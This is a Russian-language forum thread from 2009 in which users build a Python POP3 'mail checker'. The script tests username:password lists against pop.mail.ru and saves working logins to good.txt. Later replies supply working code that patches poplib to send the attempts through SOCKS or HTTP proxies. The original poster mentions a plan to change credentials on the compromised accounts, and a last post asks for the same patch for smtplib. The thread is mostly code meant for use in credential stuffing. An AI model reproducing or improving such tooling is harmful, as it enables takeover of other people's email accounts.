[Python] POP3 & Proxy

Discussion in 'PHP' started by cupper, 18 Nov 2009.

  1. cupper

    cupper Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    369
    Likes Received:
    92
    Reputations:
    5
    как этот скрипт модифицировать на роботу через прокси
    Code:
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    import poplib, email
    # Учетные данные пользователя:
    SERVER = "pop.mail.ru"
    
    import sys
    import string
    try:
    	filename = sys.argv[1]
    	print "Используеться файл с данными " + filename
    except IndexError:
    	print "Используется стандартный файл с данными input.txt"
    	filename="input.txt"
    
    try:
    	f1 = open(filename, "r")
    	f_good = open("good.txt", "w")
    except IOError:
    	print "Чёта я файл открыть немогу :("
    	exit(1)
    
    while 1:
      	temp = f1.readline()
      	if not temp:
      		break
      	USERNAME = temp[0:temp.find(":")].strip()
      	if (len(USERNAME) < 3):
      		continue
      	USERPASSWORD = temp[(temp.find(":")+1):-1].strip()	
      	if (len(USERPASSWORD) < 3):
      		continue
    
    	p = poplib.POP3(SERVER)
    	print p.getwelcome()
    	try:
    		print p.user(USERNAME)
    		print p.pass_(USERPASSWORD)
    		print p.quit()
    		f_good.write(temp)
    	except:
    		print "Пароль неподошол"
    накатал седня утречком, а как работать с проксей на питоне незнаю.
    Если работу через прокси можно легко внести сюда то может кто покажет как, если сложно то мож кто знает материальчик хороший на эту тему ?
     
  2. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    Два варианта - первый принудительно указывать переменную окружения (не факт что сработает).
    Второй - Socksipy, но придется модифицировать poplib, а точнее обезьянопатчить

    Вот тебе метод

    Code:
        def __init__(self, host, port=POP3_PORT,
                     timeout=socket._GLOBAL_DEFAULT_TIMEOUT):
            self.host = host
            self.port = port
            self.sock = socket.create_connection((host, port), timeout)
            self.file = self.sock.makefile('rb')
            self._debugging = 0
            self.welcome = self._getresp()
    
    В принципе вполне хватит его заманкипатчить (с socksipy)
    Ага, и да, катят только прокси с незарезанным методом CONNECT (в принципе другие и не прокатят и так)
    В принципе в этих библиотеках больше доков чем кода.
    Можна и саму библиотеку немного переписать под socksipy(но она херовая сама по себе :()
     
    #2 login999, 18 Nov 2009
    Last edited: 18 Nov 2009
  3. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    Бла-бла-бла
    От пиздёжа к делу.
    Необходима socksipy :
    Code:
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    
    import poplib
    import socks
    
    def create_connection((host, port), timeout):
        proxy_addr = "0.0.0.0"#Адрес прокси-сервера
        proxy_port = 8080#Порт прокси-сервера (типа int)
        proxy_type = 3#Тип прокси-сервера (1-SOCKS5, 2-SOCKS4, 3-HTTP с разрешенным методом CONNECT)
        soket = socks.socksocket() #Создание обьекта socksocket из socksipy
        soket.setproxy(proxytype=proxy_type, addr=proxy_addr, port=proxy_port)#Установка прокси для него
        soket.connect((host, port))#Вызов его метода connect
        return soket#Возврат сокета из функции
        
    poplib.socket.create_connection = create_connection
    
    Вот тебе манкипатч.
    После него пишешь весь свой код (естественно не импортируя повторно poplib :D)
    Проверил только что.
    Как уже видно, он патчит метод create_connection из модуля socket, этот метод в библиотеке используется один раз - в атрибуте, который я указал выше.
    Вроде работает.
    Для себя - самое то, большего не нужно.
    Для использования в более высоких целях - не катит ибо там саму socksipy нужно патчить под голимые пабликовые прокси.
     
    2 people like this.
  4. cupper

    cupper Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    369
    Likes Received:
    92
    Reputations:
    5
    Спасибо, домой приду попробую.

    А может тогда будет правильно переквалифицировать скрипт на более сложную логику через socket, там то это уже наверно можно делать легально с помощью библиотечных функций. Точнее я так и буду теперь делать, просто интерестно заранее узнать как там с этим?
     
  5. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    Не вижу смысла усложнять.
    poplib там и так элементарная.
    Можно ей просто этот манкипатч всунуть в код да и все :)
    будет sockpoplib :)
    Переписать будет несложно :)
    Этот патч будет нормально работать так как этот метод вызывается только один раз. Просто в зависимости от целей нужно что-то думать.
    Подскажи для чего оно нужно и подумаем, имеет ли смысл ее модифицировать. А насчет socksipy то она работает как надстройка над socket . Там парочка методов которые ничего особого не делают. Они только отправляют инициирующий запрос на соединение прокси/сокс-серверу, а потом просто связывают свой внутренний сокет с этим проксиком. Оно все прозрачно и красиво, но для моих целей неюзабельно ибо неустойчиво + еще пару минусов. Я вообще задумался над написанием своего собственного модуля для работы с хттп протоколом (хотя бы начального уровня, для своих потребностей) Хотя и планов то у меня как у Наполеона
     
  6. cupper

    cupper Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    369
    Likes Received:
    92
    Reputations:
    5
    ну как бы банально это не было, хочу свой чекер мыл сделать :) для него этот метод как раз то самое.

    Но если учитывать Наполеоновкие планы то возможно когда то в будущем сделать скрипт по изменению аутентификационных данных на good-мылах, хотя подумал и решил что правильней сначала прочекать а уже в другом скрипте можно и менять данные (но мож отпустит, и перехочется этим заниматься) так что остановлюсь на твоем методе.
     
    1 person likes this.
  7. cupper

    cupper Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    369
    Likes Received:
    92
    Reputations:
    5
    Подумал на досуге и понял что такой метод не канает, модификация идет глобальная а нужна локальная для каждого потока.
    если например сделать параметр прокси передаваемый в эту функцию а не статический то придеться модифицировать часть стандартных функций библиотеки что вообще ни есть гуд. :(

    Может есть у кого еще идеи, как работают аналогичные чекеры ?
     
  8. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    Предлагю таки модифицировать poplib под свои нужды :)
    Могу завтра по свободе заняться.
    Только чур не ругаться потом на socksipy.
    Если нужно могу выложить свой немного поправленный прокси-чекер с модифицированной socksipy (правда там есть один нюанс - то ли криво работает Socksipy, то ли httplib2 (использовал socksipy в связке с ней), но я от этого варианта отказался из-за редкостной глючности). Прокси-чекер это класс а не приложение :). Вроде я его еще не удалил.
     
  9. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    http://dl.dropbox.com/u/381215/sockspoplib.zip
    Минимальные изменения в poplib (в предела патча+замечен один баг в самой poplib =/)
     
  10. cupper

    cupper Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    369
    Likes Received:
    92
    Reputations:
    5
    выкладывай, думаю лишнем не будет.
    А что ты подразумеваешь под "модифицированной" библиотекой ? Это переопределенные функции в самом коде скрипта (по типу как ты сделал create_connection) или в самой библиотеке поправлено что то ?
     
  11. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    Это замена метода __init__
    на вот такой :
    Code:
        def __init__(self, host, port=POP3_PORT,
                     timeout=socket._GLOBAL_DEFAULT_TIMEOUT, proxytype=None, proxyaddr=None, proxyport=None):
            self.host = host
            self.port = port
            self.sock = socks.socksocket()
            self.sock.setproxy(proxytype=proxytype, addr=proxyaddr, port=proxyport, rdns=True)
            self.sock.connect((host, port))
            if isinstance(timeout, int) or isinstance(timeout, str) or isinstance(timeout, float):
                self.sock.settimeout(float(timeout))
            self.file = self.sock.makefile('rb')
            self._debugging = 0
            self.welcome = self._getresp()
    
    И добавление пары дополнительных атрибутов в саму poplib
    Code:
    HTTP_PROXY = socks.PROXY_TYPE_HTTP
    SOCKS4_PROXY = socks.PROXY_TYPE_SOCKS4
    SOCKS5_PROXY = socks.PROXY_TYPE_SOCKS5
    
    Пример использования :

    Code:
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    
    import sockspoplib
    
    proxy_addr = "10.10.31.103"
    proxy_type = sockspoplib.HTTP_PROXY
    proxy_port = 3128
    SERVER = "pop.mail.ru"
    p = sockspoplib.POP3(SERVER, proxytype=proxy_type, proxyaddr=proxy_addr, proxyport=proxy_port)
    print p.getwelcome()
    
    Авторизация на прокси добавляется добавлением дополнительных параметров, но в твоих целях это неважно.
    П.С. Прокси-чекером не обрадую, ибо таки по ходу снес. Гляну еще дома - мб там завалялось.
     
    #11 login999, 20 Nov 2009
    Last edited: 20 Nov 2009
    1 person likes this.
  12. kalombo

    kalombo Banned

    Joined:
    26 Feb 2009
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    А не мог бы ты для smtplib подобный патч набросать? Пытаюсь разобраться сам, но пока путаюсь в этих _get_socket и т.д.